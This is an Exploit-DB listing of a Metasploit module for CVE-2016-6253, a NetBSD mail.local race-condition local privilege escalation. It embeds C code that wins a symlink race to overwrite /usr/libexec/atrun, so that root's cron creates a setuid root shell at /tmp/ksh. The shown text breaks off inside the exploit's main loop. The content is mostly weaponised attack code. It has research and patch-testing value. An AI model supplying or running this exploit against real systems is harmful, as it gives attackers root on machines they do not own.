Exploit-DB #40385
Description: NetBSD - 'mail.local(8)' Local Privilege Escalation (Metasploit)
Type: local
Platform: netbsd_x86
Date: 2016-09-15
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'NetBSD mail.local Privilege Escalation',
        'Description'    => %q{
          This module attempts to exploit a race condition in mail.local with SUID bit set on:
            NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
        NetBSD 6.1 - 6.1.5
        NetBSD 6.0 - 6.0.6
          Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <mike@stcyrsecurity.com>',  # Module
            'akat1'                             # Discovery
          ],

        'DisclosureDate' => 'Jul 07 2016',
        'Platform'        => 'unix',
        'Arch'            => ARCH_CMD,
        'SessionTypes'    => %w{shell meterpreter},
        'Privileged'      => true,
        'Payload'         => {
          'Compat'        => {
            'PayloadType' => 'cmd cmd_bash',
            'RequiredCmd' => 'generic openssl'
          }
        },
        'Targets'       =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'WfsDelay' => 603 }, #can take 10min for cron to kick
        'References'     =>
          [
            [ "URL", "http://akat1.pl/?id=2"],
            [ "EDB", "40141"],
            [ "CVE", "2016-6253"],
            [ "URL", "http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc"]
          ]
      ))
    register_options([
      OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),
      OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
      OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])
    ], self.class)
  end

  def exploit
    # lots of this file's format is based on pkexec.rb

    # direct copy of code from exploit-db
    main = %q{
  // Source: http://akat1.pl/?id=2

  #include <stdio.h>
  #include <unistd.h>
  #include <fcntl.h>
  #include <signal.h>
  #include <stdlib.h>
  #include <string.h>
  #include <err.h>
  #include <sys/wait.h>

  #define ATRUNPATH "/usr/libexec/atrun"
  #define MAILDIR "/var/mail"

  static int
  overwrite_atrun(void)
  {
    char *script = "#! /bin/sh\n"
    "cp /bin/ksh /tmp/ksh\n"
    "chmod +s /tmp/ksh\n";
    size_t size;
    FILE *fh;
    int rv = 0;

    fh = fopen(ATRUNPATH, "wb");

    if (fh == NULL) {
      rv = -1;
      goto out;
    }

    size = strlen(script);
    if (size != fwrite(script, 1, strlen(script), fh)) {
      rv =  -1;
      goto out;
    }

  out:
    if (fh != NULL && fclose(fh) != 0)
      rv = -1;

      return rv;
  }

  static int
  copy_file(const char *from, const char *dest, int create)
  {
    char buf[1024];
    FILE *in = NULL, *out = NULL;
    size_t size;
    int rv = 0, fd;

    in = fopen(from, "rb");
    if (create == 0)
      out = fopen(dest, "wb");
    else {
      fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);
      if (fd == -1) {
        rv = -1;
        goto out;
      }
      out = fdopen(fd, "wb");
    }

    if (in == NULL || out == NULL) {
      rv = -1;
      goto out;
    }

    while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
      if (fwrite(&buf, 1, size, in) != 0) {
        rv = -1;
        goto out;
      }
    }

  out:
    if (in != NULL && fclose(in) != 0)
      rv = -1;
    if (out != NULL && fclose(out) != 0)
      rv = -1;
    return rv;
  }

  int
  main()
  {
    pid_t pid;
    uid_t uid;
    struct stat sb;
    char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;

    umask(0077);

    login = getlogin();

    if (login == NULL)
      err(EXIT_FAILURE, "who are you?");

      uid = getuid();

      asprintf(&mailbox, MAILDIR "/%s", login);

      if (mailbox == NULL)
        err(EXIT_FAILURE, NULL);

      if (access(mailbox, F_OK) != -1) {
        /* backup mailbox */
        asprintf(&mailbox_backup, "/tmp/%s", login);
        if (mailbox_backup == NULL)
          err(EXIT_FAILURE, NULL);
      }

      if (mailbox_backup != NULL) {
        fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup);
          if (copy_file(mailbox, mailbox_backup, 1))
            err(EXIT_FAILURE, "[-] failed");
      }

      /* backup atrun(1) */
      atrun_backup = strdup("/tmp/atrun");
      if (atrun_backup == NULL)
        err(EXIT_FAILURE, NULL);

      fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);

      if (copy_file(ATRUNPATH, atrun_backup, 1))
        err(EXIT_FAILURE, "[-] failed");

      /* win the race */
      fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);

      switch (pid = fork()) {
      case -1:
        err(EXIT_FAILURE, NULL);
        /* NOTREACHED */
      case 0:
        asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
          "2> /dev/null", login);

        for(;;)
          system(buf);
        /* NOTREACHED */

      default:
        umask(0022);
        for(;;) {
          int fd;
          unlink(mailbox);
          symlink(ATRUNPATH, mailbox);
          sync();
          unlink(mailbox);
          fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
          close(fd);
          sync();
          if (lstat(ATRUNPATH, &sb) == 0) {